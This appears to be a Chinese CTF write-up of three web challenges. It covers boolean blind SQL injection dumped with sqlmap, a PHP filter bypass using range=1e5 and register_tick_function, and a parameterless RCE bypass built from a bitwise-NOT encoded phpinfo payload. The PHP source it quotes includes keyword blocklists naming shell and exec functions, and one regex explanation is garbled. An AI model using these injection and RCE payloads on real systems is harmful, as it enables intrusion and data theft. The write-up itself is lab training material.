web
考核的时候没能做出来,因为当时只会手注,这又是一个布尔盲注,累个半死没注出来。
复现的时候用了sqlmap一下就跑出来了,sqlmap一把梭真甜美爽啊!
经过测试(1’ or 1=1 – q),发现是一个布尔盲注,手注也能注出来,但是工作量实在大,手注的意义更多的是在于学习方法吧!sqlmap可以跑,怎么跑呢?
这是POST请求方式嘛,sqlmap进行POST注入的方法是:
BP抓包,抓到的内容导出为一个文本文件,然后sqlmap跑这个文件。很简单吧!
我为什么没有想到呢?
第一步:导出抓包文件1.txt
第二步:跑数据库名。-r表示加载一个文件,用文件来跑的话就用-r的。
python sqlmap.py -r C:\Users\1\Desktop\1.txt --dbs
OK!一跑就跑出来了,flag存在user数据库中:
跑数据库user里面的表名:
python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user --tables
\
跑出了flag表,接下来跑flag中的内容:
python sqlmap.py -r C:\Users\1\Desktop\1.txt -D user -T flag --dump
进去就是源码审计:
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
declare(ticks=59999); //声明php解释器在执行 59999 条指令后触发一次 tick
function getflag(){
readfile("./flag.php");
}
$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
";
if($rangeNum>100000 || !isset($_GET['range']))
die("师兄怎么可能带你去喝奶茶茶");
$regis_call=$_GET['func'];
$spec=array("\\",".","(",")","[","]","|","&","$","^","%","=");
$regis_call=str_replace($spec,"",$regis_call);
if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30)
die("到底还要我怎样才能喝到师兄的奶茶茶");
$regis_call('getflag');
$i=0;
while($i<$rangeNum)
$i++; //递增变量 $i,直到它的值达到 $rangeNum
print("师兄,我想喝奶茶茶!");
echo "
";
print("去源代码里喝")
?>
师兄怎么可能带你去喝奶茶茶
这是一个参数:range
$rangeNum=$_GET['range'];
$rangeNum=substr($rangeNum,0,3);
echo "
";
if($rangeNum>100000 || !isset($_GET['range']))
die("师兄怎么可能带你去喝奶茶茶");
$rangeNum 是通过 $_GET['range'] 获取的参数,然后进行了截取操作:$rangeNum=substr($rangeNum,0,3);,这意味着传递给 range 参数的值会被截取为前三个字符。但在后续比较中,将使用整数形式进行比较。所以利用科学计算法来传
range=1e5
又一个传参:func
$regis_call=$_GET['func'];
$spec=array("\\",".","(",")","[","]","|","&","$","^","%","=");
$regis_call=str_replace($spec,"",$regis_call);
if(!isset($_GET['func']) || preg_match('/call|invoke|shell|php|sys|pass|user|sort|create|file|shutdown|static|get|foo|sleep|exec|eval|preg|str|set/i',$regis_call) || strlen($regis_call)<10 || strlen($regis_call)>30)
die("到底还要我怎样才能喝到师兄的奶茶茶");
通过 $regis_call = $_GET['func']; 将传入的 func 参数的值赋给变量 $regis_call。
使用 $spec 数组中的特殊字符,通过 str_replace() 函数将 $regis_call 中的特殊字符替换为空字符串。
执行一系列的条件检查来验证传入的 func 参数是否满足安全要求。这些条件包括:
检查 $_GET['func'] 是否存在(即检查是否传入了 func 参数)。
使用 preg_match() 函数和正则表达式检查 $regis_call 是否包含特定的关键词(如 call、shell、eval 等)。
使用 strlen() 函数检查 $regis_call 的长度是否在 10 到 30 之间。如果传入的 func 参数不满足上述条件中的任何一个,代码将执行 die() 函数,输出一条错误信息并终止脚本执行。
因为有declare声明语句:php解释器在执行 59999 条指令后触发一次 tick
通过 register_tick_function() 注册一个函数作为 tick 函数,使其在每个 tick 发生时被调用。
(初次接触,如果我说的有误烦请指正)所以传参为:func=register_tick_function
最终playload:?range=1e5&func=register_tick_function
flag在源码中:
本题完!
给了一段源码,是一个简单的PHP脚本,实现了一个基本的命令执行功能:
我们逐行分析它:
show_source(__FILE__);: 这行代码用于显示当前文件的源代码。在这个脚本中,它的作用是将整个脚本的源代码输出到浏览器。
$cmd = $_GET['cmd'];: 这行代码从GET请求参数中获取名为’cmd’的值,并将其赋给变量$cmd。这意味着可以通过在URL中添加?cmd=来传递命令。
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"||\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is',$cmd)){: 这行代码检查$cmd`的长度是否大于80个字符,或者是否匹配正则表达式中定义的一些特殊字符和关键字。如果满足这些条件之一,脚本将停止执行并显示"no hack!!!"。
else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $cmd)){: 这行代码使用正则表达式替换操作符来检查c m d 是否只包含一个单独的分号。如果是这样,它将执行 e v a l ( cmd是否只包含一个单独的分号。如果是这样,它将执行eval(cmd是否只包含一个单独的分号。如果是这样,它将执行eval(cmd),也就是执行用户传递的命令。
那么这题的解法就属于无参数的RCE绕过和取反,并且需要二维数组绕过。
重点学习无参数的RCE绕过
使用?cmd传命令phpinfo();,不能直接传对吧?先进行取反。phpinfo();取反后:
[~%8f%97%8f%96%91%99%90][!%FF]();
注意:[!%FF]是0的意思,因为前面是个数组,加一个[!%FF]是取数组里面的第0项。
取反之后可以直接传参:
http://192.168.31.212:2804/?cmd=[~%8f%97%8f%96%91%99%90][!%FF]();
web有一道题环境缺失,其他题都在当时做出来了